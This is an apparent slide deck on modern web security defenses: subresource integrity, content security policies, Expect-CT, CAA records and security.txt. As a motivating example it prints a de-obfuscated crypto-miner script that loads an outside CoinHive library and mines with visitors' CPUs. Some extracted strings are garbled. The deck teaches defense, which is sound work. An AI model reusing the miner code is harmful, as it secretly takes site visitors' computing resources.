Modern Web Security Patterns

Chad Hollman
Analyst, County of Sacramento Department of Technology
Current Issues of Web Development Security
Subresource Integrity Checking
Content Security Policies
HTTP Public Key Pinning
Certificate Authorization Authority
Security Contacts Standard
Current Issues of Web Development Security
Subresource Integrity Checking
Content Security Policies
Expect Certificate Transparency
Certificate Authorization Authority
Security Contacts Standard
Current Issues of Web Development Security

Subresource Integrity Checking

Content Security Policies

Expect Certificate Transparency

Certificate Authorization Authority

Security Contacts Standard
Current Issues of Web Development Security

Government, health-care, and education web sites with an embedded crypto-miner
Current Issues of Web Development Security

Obfuscated javascript with crypto-miner

/* [Warning] Do not copy or self host this file, you will not be supported */

window['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x77\x72\x69\x74\x65'] ('\x3c\x73\x63\x72\x69\x70\x74\x74\x72\x6f\x6a\x61\x74\x65\x78\x74\x2f\x6a\x61\x74\x65\x78\x74\x27']()

window['\x77\x72\x69\x74\x65']('\x3c\x73\x63\x72\x69\x70\x74\x74\x72\x6f\x6a\x61\x74\x65\x78\x74\x2f\x6a\x61\x74\x65\x78\x74\x27']()
Current Issues of Web Development Security

De-obfuscated crypto-miner

```javascript
window['document']['write']('write type='text/javascript'
src='https://coinhive.com/lib/coinhive.min.js?rnd='+window['Math']['random']()+'
'></script>');window['document']['write']('<script> if
(navigator.hardwareConcurrency > 1){ var cpuConfig = {threads:
Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig
= {threads: 8,throttle:0.6}} var miner = new
CoinHive.Anonymous('1GdQGpY1pivrGlVHSp5P2IIr9cyTzzXq',
cpuConfig);miner.start();</script>');</textarea>
Current Issues of Web Development Security
Subresource Integrity Checking
Content Security Policies
Expect Certificate Transparency
Certificate Authorization Authority
Security Contacts Standard
How do they work?
It’s really easy
browser requests
external resource
browser requests external resource

cdn returns resource
browser requests external resource

cdn returns resource

browser hashes returned resource
browser requests external resource → cdn returns resource → browser hashes returned resource

browser compares hash against integrity attribute in tag
browser requests external resource → cdn returns resource → browser hashes returned resource

content is loaded

browser compares hash against integrity attribute in tag
browser requests external resource

cdn returns resource

browser hashes returned resource

browser compares hash against integrity attribute in tag

content is loaded

content is not loaded
Embedding an SRI in your site

First, generate the cryptographic hash of your external script

```
chad@thereaper ~ $ cat FILENAME.js | openssl dgst -sha384 -binary | openssl -base64 -A
```

```
chad@thereaper ~ $ shasum -b -a 384 FILENAME.js | awk '{ print $1 }' | xxd -r -p | base64
```

https://www.srihash.org/
Embedding an SRI in your site

Second, add the generated hash to the script call

```html
<script src="https://example.com/example-framework.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
...
</script>
```
Subresource Integrity Checking

When SRIs fail

⚠️ Failed to find a valid digest in the 'integrity' attribute for resource 'https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.2/jquery.min.js' with computed SHA-256 integrity '36cp2Co+/62rEAYHLMRCPIych47CvdM+uTBjwSzWjI='. The resource has been blocked.
Subresource Integrity Checking

Are SRIs supported by my browser?

<table>
<thead>
<tr>
<th>Subresource Integrity</th>
<th>REC</th>
</tr>
</thead>
</table>

Subresource Integrity enables browsers to verify that file is delivered without unexpected manipulation.

### Browser Support

<table>
<thead>
<tr>
<th>Browser</th>
<th>IE</th>
<th>Edge</th>
<th>Firefox</th>
<th>Chrome</th>
<th>Safari</th>
<th>Opera</th>
<th>iOS Safari</th>
<th>Opera Mini</th>
<th>Android Browser</th>
<th>Opera Mobile</th>
<th>Chrome for Android</th>
<th>Firefox for Android</th>
<th>UC Browser for Android</th>
<th>Samsung Internet</th>
<th>QQ Browser</th>
<th>Baidu Browser</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>6-10</td>
<td>17</td>
<td>43-71</td>
<td>45-78</td>
<td>11-12.1</td>
<td>32-63</td>
<td>11.3-13.1</td>
<td>12-12.1</td>
<td>2.1-4.4.4</td>
<td>12-12.1</td>
<td>12.12</td>
<td>10.1</td>
<td>4</td>
<td>5-9.2</td>
<td>1.2</td>
<td>7.1</td>
</tr>
<tr>
<td></td>
<td></td>
<td>18</td>
<td>72</td>
<td>79</td>
<td>13</td>
<td>64</td>
<td>13.2</td>
<td>all</td>
<td>76</td>
<td>46</td>
<td>79</td>
<td>68</td>
<td>12.12</td>
<td>10.1</td>
<td>1.2</td>
<td>7.1</td>
</tr>
<tr>
<td></td>
<td></td>
<td>76</td>
<td>73-74</td>
<td>80-82</td>
<td>TP</td>
<td></td>
<td>13.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### Notes

Can be enabled via the "Experimental Features" developer menu.
But what happens if the script updates?
Current Issues of Web Development Security

Subresource Integrity Checking

Content Security Policies

Expect Certificate Transparency

Certificate Authorization Authority

Security Contacts Standard
Content Security Policies

The complement to SRIs

A good content security policy (CSP) would have stopped the crypto miner from being loaded.

Can be implemented as part of a response header or meta tags.

Allow reporting-only on CSP violations without actually enforcing a CSP.

Allow you to white-list the sources of different content types.

Effectively says, “yes you can run whatever you want in this file, but you can only load from these places.”
Content Security Policies

Content security policies as meta tags

```
```
Content Security Policies

Content security policies with reporting as response headers

```javascript
const express = require('express');
const helmet = require('helmet');

const app = express();
app.use(helmet());
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ['"none"'],
imgSrc: ['"self"', 'c.disquscdn.com', 'disqus.com',
'www.google.com', 'www.gstatic.com', 'cdnjs.cloudflare.com'],
styleSrc: ['"self"', 'unsafe-inline', 'maxcdn.bootstrapcdn.com',
'github.githubassets.com'],
reportUri: '/report-uri',
upgradeInsecureRequests: true
},
reportOnly: true
});

app.listen(3000, console.log('app running on 3000...'));
```
Content Security Policies

Content security policies with a reporting URL handled by my web server
Content Security Policies

Content security policies as response headers in the browser

```
```
Content Security Policies

Content security policy violations in the browser

Angular is running in the development `core.js:3123` mode. Call `enableProdMode()` to enable the production mode.

```
> Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'

fonts.googleapis.com 'sha256-
47DE0p8HBSa+/TIMW+53CeuQeRkm5N5pJWZ63hSuFU="
'sha256-2NjV5jyj450CvmTyjombVjjq0Xe40j0hD4tr0X5h//j0X5dxk="
'sha256-6Nhj0pK00edH0Me68Of77eub1AGmFOZ0jJ83bo5+P6A1GU=
'sha256-wO2Na6H+IPk3j8Be6y1181t189t71635atXnCm1fZ-A="
'sha256-amjy18Q16+z4pqVr2Te6sOd63eR3s3Qpsv9v7BprP="/n
'sha256-RiPA1vYq9r+vn5/sQLX35RMHjub56BN256e9WFDbn10n0="
'sha256-F4cX5nihs/ul1m1t36fbcP6lu9hdF+nqjYk9P/xqUtgVv="/n
'sha256-HXpFzw6m6Q/nd93xJCUd71UOc0ys1RXx6GqPsZqxyY="
'sha256-MdTz7w1l11DIy6qDDvC1kUz0WF/szT3G6Fcf0n34="
'sha256-ERbKd6To75woG51Tgk8FqqxFtUc51JPV9uXaJ9tPk="/n
'sha256-c0BFyWUR8gj6IA/4ZD85svbC8AF88+vYe1wU1lP7Tc="/n
'sha256-c3YNTX0i1-xjRopAm5sawCwXZHuVW1uq/GK1U+I="/n
'sha256-vFzXlliTvqE1L6x7emPQ58g3OqVY2U89x779o6xIU="/n
'sha256-0ryaLE04jKrWgg62+vDtdv1EbyVifmM0Zv5t0d4cava="/n
'sha256-zwIwLBwdNvcVS4DVtC73gyvem3D3m99oYN0iUuk="/n
'sha256-Mk5KkRvPI9K3u0LQoVd0uUGb1Y5xvVF7fw64K1NT="/n
'sha256-4Su6mBxElFhn4pA6MOuaerBstwJN4Z3bg/s1Kn4/K0e="'

Either the 'unsafe-inline' keyword, a hash ('sha256-11Qnevu325Z5E3N5c1wCfzQ5t3TS5k4y/pSA1LHP0=')
, or a nonce ('nonce---') is required to enable inline execution.
```
Content Security Policies

Content security policy reporting with embedded script

```html
<script type="text/json" id="csp-report-uri">
{
    "keys": [
    ],
    "reportUri" : "https://troyhunt.report-uri.com/r/d/csp/enforce"
}
</script>
```
Content Security Policies
Upgrade insecure requests
Content Security Policies

Upgrade insecure requests
Content Security Policies

Upgrade insecure requests

21:27:34.860 Mixed Content: The page at 'https://mixed.badssl.com/' was loaded over mixed.badssl.com:18 HTTPS, but requested an insecure image 'http://mixed.badssl.com/image.jpg'. This content should also be served over HTTPS.
Content Security Policies
Upgrade insecure requests
Content Security Policies

Upgrade insecure requests

っきりと升级不安全请求了。
Content Security Policies

Upgrade insecure requests
default-src
Serves as a fallback for all other fetch directives
connect-src
Restricts the URLs which can be loaded using script interfaces
font-src
Specifies valid sources for fonts loaded using @font-face
frame-src
Specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>
img-src
Specifies valid sources of images and favicons
media-src
Specifies valid sources for loading media using <audio>, <video> and <track> elements
script-src
Specifies valid sources for JavaScript <script> elements
style-src
Specifies valid sources for stylesheets
worker-src
Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts

Content Security Policies

Are CSPs supported by my browser?

See full reference on MDN Web Docs.

1. Uses the non-standard name: X-Content-Security-Policy
2. Only supporting 'sandbox' directive.
3. Uses the non-standard name: X-Webkit-CSP
4. X-Webkit-CSP

Support data for this feature provided by: MDN browser-compat-data
Current Issues of Web Development Security
Subresource Integrity Checking
Content Security Policies
Expect Certificate Transparency
Certificate Authorization Authority
Security Contacts Standard
https://www.smashingmagazine.com/be-afraid-of-public-key-pinning/
2011 DigiNotar

Dutch Certificate Authority
500 fake SSL certificates

including sites like facebook.com and google.com
Expect Certificate Transparency

CT is a tool that allows you to detect when a fake certificate has been issued.

When a CA participates in the program, it must log all certificates they issue in a publicly searchable log.

The logs are monitored by an application that can report to you whenever a new cert for one of your domains is issued.

If the cert was issued in error (or maliciously), you can immediately take steps to have it revoked.
Expect Certificate Transparency

Expect CT tells the browser you only want it to trust certificates signed by CAs that have Certificate Transparency enabled.
Expect Certificate Transparency
Using the Expect-CT header

Expect-CT: max-age: 2592000, report-uri="https://api.github.com/_private/browser/errors"
Expect Certificate Transparency

Is Expect-CT supported by my browser?

See full reference on MDN Web Docs.

1 Before later builds of Chrome 64, invalid Expect-CT reports would be sent. Newer versions do not send reports after 10 weeks from the build date. See bug 786563.

Support data for this feature provided by:

MDN browser-compat-data
Current Issues of Web Development Security
Subresource Integrity Checking
Content Security Policies
Expect Certificate Transparency
Certificate Authorization Authority
Security Contacts Standard
certificate request

https://www.digicert.com/blog/new-caa-requirement-2/
certificate request

verify organization

verify domain control

https://www.digicert.com/blog/new-caa-requirement-2/
https://www.digicert.com/blog/new-caa-requirement-2/
https://www.digicert.com/blog/new-caa-requirement-2/
certificate request

verify organization

verify domain control

check caa record

log to certificate transparency

issue certificate

https://www.digicert.com/blog/new-caa-requirement-2/
Raw CAA records

These CAA records were detected on the domain **troyhunt.com** and are presented as-is.

<table>
<thead>
<tr>
<th>Domain</th>
<th>Class</th>
<th>Type</th>
<th>CAA Record</th>
</tr>
</thead>
<tbody>
<tr>
<td>troyhunt.com.</td>
<td>299</td>
<td>IN</td>
<td>CAA 0 iodef &quot;<a href="mailto:domains@troyhunt.com">mailto:domains@troyhunt.com</a>&quot;</td>
</tr>
<tr>
<td>troyhunt.com.</td>
<td>299</td>
<td>IN</td>
<td>CAA 0 issue &quot;&quot;</td>
</tr>
<tr>
<td>troyhunt.com.</td>
<td>299</td>
<td>IN</td>
<td>CAA 0 issue &quot;comodoca.com&quot;</td>
</tr>
<tr>
<td>troyhunt.com.</td>
<td>299</td>
<td>IN</td>
<td>CAA 0 issue &quot;digicert.com&quot;</td>
</tr>
<tr>
<td>troyhunt.com.</td>
<td>299</td>
<td>IN</td>
<td>CAA 0 issue &quot;letsencrypt.org&quot;</td>
</tr>
<tr>
<td>troyhunt.com.</td>
<td>299</td>
<td>IN</td>
<td>CAA 0 issuewild &quot;comodoca.com&quot;</td>
</tr>
<tr>
<td>troyhunt.com.</td>
<td>299</td>
<td>IN</td>
<td>CAA 0 issuewild &quot;digicert.com&quot;</td>
</tr>
<tr>
<td>troyhunt.com.</td>
<td>299</td>
<td>IN</td>
<td>CAA 0 issuewild &quot;letsencrypt.org&quot;</td>
</tr>
</tbody>
</table>
Current Issues of Web Development Security
Subresource Integrity Checking
Content Security Policies
Expect Certificate Transparency
Certificate Authorization Authority
Security Contacts Standard
Have you ever tried calling the DMV?
A Method for Web Security Policies

draft-foudil-securitytxt-08

Abstract

When security vulnerabilities are discovered by independent security researchers, they often lack the channels to report them properly. As a result, security vulnerabilities may be left unreported. This document defines a format ("security.txt") to help organizations describe the process for security researchers to follow in order to
Contact: mailto:security@troyhunt.com
Contact: https://twitter.com/troyhunt
Encryption: https://keybase.io/troyhunt
# AgileBiters: Be sure to create an updated signature file
# after editing this file, even in the slightest. Use
# make security-sig
# in the root directory (you'll need the private key)

# AgileBits Security contact address
Contact: security@agilebits.com

# Bugcrowd program for security issues with 1Password.
Contact: https://bugcrowd.com/agilebits

# Encryption-key-user: support@agilebits.com
# Encryption-key-short-ID: 42F3D4D4
# Encryption-key-long-ID: BD58E71C42F3D4D4
# Encryption-key-fingerprint: F9F8 9579 AFDF EBB2 D4E9 1BE2 BD58 E71C 42F3 D4D4
#
# Note that our support email system doesn't do well with PGP-MIME.
# Please encrypt within the the body of the message.
Encryption: https://1password.com/support-at-agilebits-pubkey-42F3D4D4.asc

# Signature of this file
Contact: https://g.co/vulnz
Contact: mailto:security@google.com
Encryption: https://services.google.com/corporate/publickey.txt
Acknowledgements: https://bughunter.withgoogle.com/
Policy: https://g.co/vrp
Hiring: https://g.co/SecurityPrivacyEngJobs
# Flag: BountyCon{075e1e5eef2bc8d49bfe4a27cd17f0bf4b2b85cf}
This site can’t be reached

sacciounty.net refused to connect.

Search Google for sacciounty net well known security

ERR_CONNECTION_REFUSED
Thank you!
hollmanchad@gmail.com
@gh0st